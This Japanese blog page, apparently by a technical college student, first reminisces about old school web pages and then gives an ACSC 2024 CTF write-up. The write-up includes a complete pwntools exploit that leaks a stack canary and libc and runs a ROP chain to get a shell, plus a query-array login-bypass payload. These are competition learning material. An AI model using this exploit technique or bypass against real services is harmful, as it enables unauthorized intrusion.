https://www.google.com/maps/@35.6383055,139.2993866,3a,75y,145.75h,95.73t/data=!3m6!1e1!3m4!1s_DWwVimdjyTvwkmYR_gdFQ!2e0!7i16384!8i8192?entry=ttuwww.google.com

サイゼリヤ・CASA・味の民芸

サイゼリヤ・CASA・味の民芸 この3店は、1つの交差点の3つの角にあります。ものすごい競争です。 その競争のおかげで、こっちは食べに行きやすいけど、やっぱりサイゼ リヤが安いから、私は好きです。 ちなみに、東名海老名S・Aには『CASA』があって、驚きました。

CASAはもうないです.

味の民芸がある交差点はここでしょう.サイゼリヤもここにありますね.

https://www.google.com/maps/place/%E5%91%B3%E3%81%AE%E6%B0%91%E8%8A%B8+%E5%85%AB%E7%8E%8B%E5%AD%90%E6%A4%9A%E7%94%B0%E5%BA%97/@35.6394017,139.3095152,111a,35y,167.48h,48.75t/data=!3m1!1e3!4m6!3m5!1s0x60191c3b5e9ab567:0xd0f24c120a393f6c!8m2!3d35.6381422!4d139.309785!16s%2Fg%2F1vlzbdsf?entry=ttuwww.google.com

しかし,ここは東京高専からかなり遠く,今はこれとは別のサイゼリヤがより学校に近いイトーヨーカドーに入っています.なので今はここまで高専生が来ることはあまりないような気がしますが,昔はここで食べていたんですね.

ちなみに↓のイトーヨーカドーはあのフワちゃんが学生のころからあるようです.

https://www.google.com/maps/place/%E3%82%A4%E3%83%88%E3%83%BC%E3%83%A8%E3%83%BC%E3%82%AB%E3%83%89%E3%83%BC+%E5%85%AB%E7%8E%8B%E5%AD%90%E5%BA%97/@35.6422651,139.2934603,425a,35y,167.48h,48.59t/data=!3m1!1e3!4m6!3m5!1s0x60191c0341346b17:0x4578256f84c0463f!8m2!3d35.6378429!4d139.2935541!16s%2Fg%2F1tk67r0_?entry=ttuwww.google.com

以下のページによるとイトーヨーカドー八王子店は1999年からあるようで,この方が東京高専の学生のころは,まだなかったようですね.

全国のイトーヨーカドー開業年一覧

ラーメン屋 東龍

東龍 高専の裏門(西門)のそばにある、ラーメン屋さんです。狭いけど、高専 割引があって、高専生御用達です。

このラーメン屋は今はありません.

調べると食べログが出てきました.

tabelog.com

東龍とは,おそらくこのラーメン屋だと思われるのですが,このラーメン屋は,”高専の裏門(西門)のそばにある”,と書かれるほどに近くはありません.

ラーメン東龍が入っていたと思われるアパート

https://www.google.com/maps/@35.6492025,139.2968073,3a,75y,104.19h,94.48t/data=!3m6!1e1!3m4!1stvarjrbBRJ8Oy5GgRYrGpw!2e0!7i16384!8i8192?entry=ttuwww.google.com

今の学生に”高専の裏門(西門)のそばにあるラーメン屋”,と言えばおそらくここです.

https://www.google.com/maps/place/%E9%BB%99%E5%8F%A4%E5%AF%BF/@35.6391446,139.2945645,3a,75y,205.67h,91.3t/data=!3m6!1e1!3m4!1sB40pQvmf6NEJrcRRW245wQ!2e0!7i16384!8i8192!4m6!3m5!1s0x60191c1cd2616173:0x3a3bba3707126fba!8m2!3d35.6391068!4d139.2944946!16s%2Fg%2F1tf243sj?entry=ttuwww.google.com

もともと東龍というラーメン屋が本当に”高専の裏門(西門)のそばに”あり,移動したのでしょうか.真相は謎です.

昔のスラング

めじろ台駅 狭間駅より1駅、新宿よりの駅。めじろ台のほうが遠いから、利用者数 も少ないので、よく高専カップル(高専内のカップルのこと。差別用語。 =死語かな?)が住宅地内を仲良く、めじろ台駅まで歩いてました。で も、めじろ台には安い薬屋があったので、私は友人と通ってました。 …友人と。

J科棟はめじろ台駅のほうが近いという噂は聞きますよね。 年の離れたOBと話すときは、J科棟は狭間駅からもめじろ台駅からも遠いすよね~とか言っておくといいかもしれないですね。

高専カップル(高専内のカップルのこと。差別用語。 =死語かな?)

死語すぎますね.

高専カップルなんて,あり得るんですか?

一押しスポット

あと、ものすごく密かなマイナースポットとしては、高専情報棟(7棟)の屋上 でしょうか。高台の建物なので、夜景は最高で、八王子一帯が一望できます。 また、目を凝らせば、都庁などの新宿高層ビル街や、東京タワーも見れます。 なにげに、いい所でした。

これは,今でも変わりません.

教室の窓から見える景色はきれいです.ここに貼ろうかと思いましたが見つかりませんでした.また載せておきますね.

これは真夜中,高専の近くの住宅街でとった八王子の夜景.どこかわかるかな

屋上じゃないけど

忘れちゃいけない大事なこと。(連ドラの舞台

あと、忘れちゃいけない大事なこと。 今年10月からの連ドラ『未成年』、舞台になっている私立高校は、東京高専で 撮っている そうです。今から見学に行こうかな~、と思った方。残念! 夏休みの終りに撮ったそうです。私も見たかったのに…。

1995年に放送されたドラマだそうです.

同年代の若者5人を中心に、青春の過程で起こる様々な苦悩と葛藤を生々しく描いたこの作品は、出演芸能人の出世作としても知られている。 未成年 (テレビドラマ) - Wikipedia

そんなもんは高専にない(私にはない). 準学士過程の男くさい教室の中で,パソコンをポチポチするだけ,そんなんでいいのかという苦悩と葛藤はある.

どんな皮肉だろう.

おわり

ほかにもいろいろと面白く感慨深いものを見つけましたが,記事で紹介するのはここまでにして独り占めしておきます.

Wayback Machineで昔の学校のホームページを見てみたら.

  • 当時の学生の様子を見れた.

  • 当時の学校の文化を知れた.

  • 当時の社会の技術や文化を知れた.

  • 代々歴史があったことを知った.

いろいろ知れました.他人が残した黒歴史を漁るのはかなり悪趣味ではありますが,調べる過程で当時の文化,歴史,技術や出来事を知ることができました. この学校で学んできたのは私だけでなく,多くの先代がいたという,当然の忘れちゃいけない大事なことを実感できたような気がします.

今年で私も5年で,もう上の代は全員消えてしまいました.(卒業おめでとうございます.)なんだか寂しいですが,今回歴史を漁り,すべての代の人間に同級生と同じような親しみを感じることができました.当然だけど彼らにもそれぞれ人生があり未来があると思うとなんか安心しますな.

今はツイッターと言うものがあり,適当につぶやくだけで,その文化を残すことができるようになっていますが,いずれその文化も勝手に漁られるかもしれないですね.(

みんなも母校のホームページを漁ってみてはいかがでしょうか.

以上

ACSCのやつ

ACSC

簡単な問題だけ解けました. 楽しかったです.

rot13 [pwn]

#include <stdio.h>
#include <string.h>

#define ROT13_TABLE                                                    \
   "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" \
   "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \
   "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \
   "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" \
   "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42" \
   "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f" \
   "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62" \
   "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f" \
   "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" \
   "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" \
   "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" \
   "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" \
   "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" \
   "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" \
   "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" \
   "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

void rot13(const char *table, char *buf) {
    printf("Result: ");
    for (size_t i = 0; i < strlen(buf); i++)
        putchar(table[buf[i]]);
    putchar('\n');
}

int main() {
    const char table[0x100] = ROT13_TABLE;
    char buf[0x100];
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    while (1) {
        printf("Text: ");
        memset(buf, 0, sizeof(buf));
        if (scanf("%[^\n]%*c", buf) != 1)
            return 0;
        rot13(table, buf);
    }
    return 0;
}
❯ checksec rot13         
[*] '/home/trimscash/acsc/pwn/distfiles-rot13/rot13'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

rot13をテーブルを用いて実装している.

まず以下を見るとtable配列の要素をbuf[i]で指定している. ここでbufcharであるので,マイナスを取りうる.

例えば\xffをbufに入れておけばtableの上のデータを見ることができる.

void rot13(const char *table, char *buf) {
    printf("Result: ");
    for (size_t i = 0; i < strlen(buf); i++)
        putchar(table[buf[i]]);
    putchar('\n');
}

これにより,スタック上のrot13関数のリターンアドレスと,canaryとスタックのbase addrがリークできる.

なのであとは以下の部分に存在するbuf overflowでROPする.

     if (scanf("%[^\n]%*c", buf) != 1)
            return 0;

ここでlibc addrのリークが必要だが,これもrot13を読んだときのスタックに積まれていた. putchar+119

putchar+119

libcは配布されているDockerfileにより入手できる

FROM ubuntu:22.04@sha256:bcc511d82482900604524a8e8d64bf4c53b2461868dac55f4d04d660e61983cb
ENV DEBIAN_FRONTEND noninteractive

文字列/bin/shbase addrがあるので,スタックに積んでおきそれを使う.

以下solver.py

from pwn import *
from pwn import packing

libc = ELF("./libc.so.6")
# io = process("./rot13")
# io = gdb.debug("./rot13", "b main\nc")
io = remote("rot13.chal.2024.ctf.acsc.asia", 9999)

payload = b""

leak_num = 15

for i in range(1, 0x8 * leak_num + 1):
    payload += pack(-i, 8, "little", True)

print(payload)

io.sendlineafter(b"Text: ", payload)

io.recvuntil(b"Result: ")
res = io.readline()[:-1]
print(res)

leaks = []
for i in range(leak_num):
    temp = res[i * 8 : i * 8 + 8][::-1]
    leaks.append(u64(temp))

ret_addr = leaks[0]
base_addr = leaks[1]
canary = leaks[2]
putchar_addr = leaks[-1]  # <putchar+119>
libc_base = putchar_addr - (libc.sym["putchar"] + 119)

print(hex(ret_addr))
print(hex(base_addr))
print(hex(canary))

print(hex(putchar_addr))
print(hex(libc.sym["putchar"]))
print(hex(libc_base))

pop_rdi = 0x2A3E5 + libc_base
sh_str = 0xDBCE8 + libc_base
system = libc.sym["system"] + libc_base
nop = 0x378DE + libc_base

print(hex(libc.sym["system"]))

binsh_addr = base_addr + 0x8 * 5

payload = b"a" * 0x108 + p64(canary) + b"b" * 8
payload += p64(nop)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system)
payload += b"sh"
print(payload)
io.sendlineafter(b"Text: ", payload)
io.sendline()

io.interactive()

実行するとシェルが取れフラグがもらえた.

ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}

login [web]

app.js

const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user',
        password: "crypto.randomBytes(32).toString('hex')"
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
    <body>
    <section>
    <h1>Login</h1>
    <form action="/login" method="post">
    <input type="text" name="username" placeholder="Username" length="6" required>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Login</button>
    </form>
    </section>
    </body></html>
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

Dockerfile

FROM node:alpine

WORKDIR /app
COPY app.js /app

RUN yarn add express

CMD ["node", "app.js"]

docker-compose.yaml

version: '3.5'
services:
  web:
    build: .
    ports:
      - "5000:5000"
    environment:
      FLAG: ACSC{fake}

開くと以下. これにguest以外としてログインすればフラグがもらえる.

app.jsを見ると,express.urlencoded({ extended: true })とある.

const app = express();
app.use(express.urlencoded({ extended: true }));

以下のページによると,username[]=aなどとすると,配列が作れるらしい.

blog.hamayanhamayan.com

手元で適当に実際に試してみると,確かに配列になっていることがわかる.

これを用いて何とかならないか.

いろいろと手元でガチャガチャしていたら. ["guest"]=="guest"がtrueになることがわかった.

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }

これにより,username[]=guestとリクエストすると.(つまりusername=["guest"]) ここで,userがguestになり.

    const user = USER_DB[username];

ここでは,===で型を含めて比較しているので,以下がfalseになりフラグが取得できるはず.

        if (username === 'guest') {

最終的なpayloadは以下のようになった.

username[]=guest&password=guest

これを送る.

curlでやったらなんか駄目だった.ローカルでは行けた.

フラグがもらえた.

ACSC{y3t_an0th3r_l0gin_byp4ss}

An4lyz3-1t [hardware]

Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.

配布ファイルを展開すると,拡張子がsalのファイルがあった.

問題文によると,Saleae logic analyzerを使って記憶したシリアル通信とのことなので,

Saleae logic analyzerのソフトをインストールしてみてみる.

www.saleae.com

するとこんな感じ.

一番幅が小さそうなとこを見ると,9.596kHzと57.554Hzという値が出てきた.なので,これに近い一般的に使われるボーレートを指定してみる.

www.renesas.com

Add analyzerからAsync Serialを指定して設定できる.このBit Rateがそれ.

試せばわかるが以下のように57600Hzにした時が一番それらしかった.

しかし,framing errorとなっている.

以下のページを見るといい感じの図があるのだが,シリアル通信には,stop bitというものがあり,それはHighになっていないといけない.上の図でいうと赤いバツがついているところがHighでないといけない.

www.japansensor.co.jp

では,あと一ビット文何かが足りないはず.シリアル通信にはオプションでparity bitをつけることができるので,多分それが足りていない. また信号を見るとわかる通り,偶数個のHighになっているのでeven parityであることがわかる.

これを指定すればいい.

横のAnalyzerタブから先ほど追加したAnalyzerを編集する.

Parity BitEven Parity Bitを指定する.

するといい感じに見えている.

横のAnalyzerタブのTerminalを見るとフラグが見えた.

ACSC{b4by4n4lyz3r_548e8c80e}

以上

Web, Cryptoをもっと解けるようになりたい.(というか全部解けるようになりたい.)と言いつつたゆまぬ努力というやつができていないのだが..

頑張ります.

楽しかったです.

解けなくて悩んでいる時,観る将棋が存在し得るなら,観るのCTFも存在し得ることに気づいた(((

観るCTFerとして頑張ります((うそです

flag{hello_my_friend}